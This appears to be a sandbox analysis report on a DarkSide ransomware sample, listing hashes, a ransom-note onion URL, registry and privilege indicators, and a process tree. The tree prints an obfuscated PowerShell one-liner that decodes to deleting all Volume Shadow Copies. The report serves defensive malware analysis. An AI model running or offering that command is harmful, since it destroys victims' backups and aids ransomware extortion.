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Overview
overview
10Static
static
717139a10fd...61.exe
windows7-x64
1017139a10fd...61.exe
windows10-2004-x64
101cc7c198a8...cb.exe
windows7-x64
101cc7c198a8...cb.exe
windows10-2004-x64
10243dff06fc...60.exe
windows7-x64
10243dff06fc...60.exe
windows10-2004-x64
1027214dcb04...8f.exe
windows7-x64
1027214dcb04...8f.exe
windows10-2004-x64
103dabd40d56...a6.exe
windows7-x64
33dabd40d56...a6.exe
windows10-2004-x64
343e61519be...aa.exe
windows7-x64
1043e61519be...aa.exe
windows10-2004-x64
1048a848bc9e...3a.exe
windows7-x64
1048a848bc9e...3a.exe
windows10-2004-x64
10508dd6f7ed...dd.exe
windows7-x64
10508dd6f7ed...dd.exe
windows10-2004-x64
10516664139b...4b.exe
windows7-x64
3516664139b...4b.exe
windows10-2004-x64
10533672da9d...8d.exe
windows7-x64
10533672da9d...8d.exe
windows10-2004-x64
106228f75f52...ff.exe
windows7-x64
106228f75f52...ff.exe
windows10-2004-x64
106836ec8588...d8.exe
windows7-x64
36836ec8588...d8.exe
windows10-2004-x64
368872cc22f...e7.exe
windows7-x64
1068872cc22f...e7.exe
windows10-2004-x64
10691515a485...a5.exe
windows7-x64
10691515a485...a5.exe
windows10-2004-x64
1078782fd324...34.exe
windows7-x64
1078782fd324...34.exe
windows10-2004-x64
108cfd289118...bc.exe
windows7-x64
108cfd289118...bc.exe
windows10-2004-x64
10Resubmissions
27/01/2024, 19:37
240127-yb5pksafd3 1027/01/2024, 19:36
240127-ybqwesafc2 1012/05/2021, 15:56
210512-db4t7vmwas 10Analysis
-
max time kernel
144s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
27/01/2024, 19:36
Behavioral task
behavioral1
Sample
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
27214dcb04310040c38f8d6a65fe03c14b18d4171390da271855fdd02e06768f.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
27214dcb04310040c38f8d6a65fe03c14b18d4171390da271855fdd02e06768f.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
3dabd40d564cf8a8163432abc38768b0a7d45f0fc1970d802dc33b9109feb6a6.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
3dabd40d564cf8a8163432abc38768b0a7d45f0fc1970d802dc33b9109feb6a6.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
516664139b0ddd044397a56482d7308d87c213c320a3151ccb9738e8f932654b.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
516664139b0ddd044397a56482d7308d87c213c320a3151ccb9738e8f932654b.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Resource
win7-20231129-en
Behavioral task
behavioral22
Sample
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
6836ec8588b8049bcd57cd920b7a75f1e206e5e8bb316927784afadb634ea4d8.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
6836ec8588b8049bcd57cd920b7a75f1e206e5e8bb316927784afadb634ea4d8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Resource
win7-20231215-en
Behavioral task
behavioral32
Sample
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Resource
win10v2004-20231222-en
General
-
Target
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
-
Size
59KB
-
MD5
04fde4340cc79cd9e61340d4c1e8ddfb
-
SHA1
88fc623483f7ffe57f986ed10789e6723083fcd8
-
SHA256
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc
-
SHA512
105ddfb8bbfedc8460fb1e6d26c6cd02ea81bfdc12a196c1c2f8e52bc73faf03a688339b4c231ab5b5b3885f2ad248115c32c95fc64e84462a16c3e237e6fc9c
-
SSDEEP
768:TTjagICPhDt3bS4nyz2CuwSbV5dNcxGV1yldoZrY23W5o:BpDtG4nMpboDTV1ylVZ5
Malware Config
Extracted
C:\Users\README.95b288ea.TXT
darkside
http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Renames multiple (181) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\95b288ea.BMP" 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\95b288ea.BMP" 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe -
Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\Desktop\WallpaperStyle = "10" 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe -
Modifies registry class 5 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\95b288ea\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\95b288ea.ico" 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.95b288ea 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.95b288ea\ = "95b288ea" 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\95b288ea\DefaultIcon 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\95b288ea 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3356 powershell.exe 3356 powershell.exe 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeSecurityPrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeTakeOwnershipPrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeLoadDriverPrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeSystemProfilePrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeSystemtimePrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeProfSingleProcessPrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeIncBasePriorityPrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeCreatePagefilePrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeBackupPrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeRestorePrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeShutdownPrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeDebugPrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeSystemEnvironmentPrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeRemoteShutdownPrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeUndockPrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeManageVolumePrivilege 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: 33 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: 34 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: 35 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: 36 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeDebugPrivilege 3356 powershell.exe Token: SeBackupPrivilege 1880 vssvc.exe Token: SeRestorePrivilege 1880 vssvc.exe Token: SeAuditPrivilege 1880 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5648 wrote to memory of 3356 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe 93 PID 5648 wrote to memory of 3356 5648 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe 93 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe"C:\Users\Admin\AppData\Local\Temp\8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe"1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5648 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3356
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1880
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
-
Filesize
1KB
MD5dd9fa1901a725253a197c4eb249073eb
SHA1c19efe88841c857e96100de01f4aa259ee3ca5b5
SHA25688f9f137a34c274571a765027579d780bf0c96a733fc191c3a2a7aaaf1762cf6
SHA512b4b68c95a83553a3eca07caa3f1132c093b251d78ca56c03bf73e296cbe56009e9427edf08dd1caedb759916fd3ce0ed020e4045917849ea4721e6fdbe7ee340
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1KB
MD56f01b410c20010de920706c44a01d4dd
SHA19788131507b7164647d996dc03dfceb2818107e8
SHA256c0b5f7c6add9a723683e5e619655ac92b412264e48854787f7f903842bec63c8
SHA512fa832beb2b7c50b52942f5997033938e2c5adc27e78af8ee52a780c6c98145a8008053b17047d527a6d4844361676f7571521834750046d95977c41785bec421